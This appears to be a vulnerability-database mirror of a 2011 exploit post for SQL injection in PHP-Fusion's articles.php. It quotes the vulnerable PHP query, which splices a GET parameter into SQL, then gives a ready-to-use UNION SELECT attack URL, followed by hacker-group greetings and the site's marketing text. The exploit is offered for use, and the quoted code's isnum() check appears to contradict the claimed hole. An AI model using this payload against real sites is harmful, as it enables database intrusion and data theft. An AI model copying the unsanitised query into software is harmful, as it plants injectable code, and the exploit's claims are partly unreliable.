Lucene search
K

PHP-Fusion SQL Injection

🗓️ 02 Apr 2011 00:00:00Reported by KedAns-DzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 31 Views

PHP-Fusion (articles.php) SQL Injection Exploit, Impact: Remote SQL Injection, Tested on: Windows XP sp3 F

Code
`###  
# Title : PHP-fusion (articles.php) SQL Injection Exploit  
# Author : KedAns-Dz  
# E-mail : [email protected]  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Twitter page : twitter.com/kedans  
# platform : php  
# Impact : Remote SQL Injection  
# Tested on : Windows XP sp3 FR  
###  
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )  
##  
# [»] ~ special thanks to : Dr.Ride   
###  
  
# Vulnerability in the file articles.php :  
  
if (isset($_GET['article_id']) && isnum($_GET['article_id'])) {  
$result = dbquery(  
"SELECT ta.article_subject, ta.article_article, ta.article_breaks,   
ta.article_datestamp, ta.article_reads, ta.article_allow_comments, ta.article_allow_ratings,  
tac.article_cat_id, tac.article_cat_name,  
tu.user_id, tu.user_name, tu.user_status  
FROM ".DB_ARTICLES." ta  
INNER JOIN ".DB_ARTICLE_CATS." tac ON ta.article_cat=tac.article_cat_id  
LEFT JOIN ".DB_USERS." tu ON ta.article_name=tu.user_id  
WHERE ".groupaccess('article_cat_access')." AND article_id='".$_GET['article_id']."' AND article_draft='0'"  
);  
  
# Exploit :   
  
http://[localhost]/[Path]/articles.php?article_id=-1+union+select+version()--  
  
=================================================================================================  
#================[ Exploited By KedAns-Dz * HST-Dz * ]===========================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >  
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz  
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz  
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)  
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{  
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX   
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,  
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * exploit-id.com   
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...  
#================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation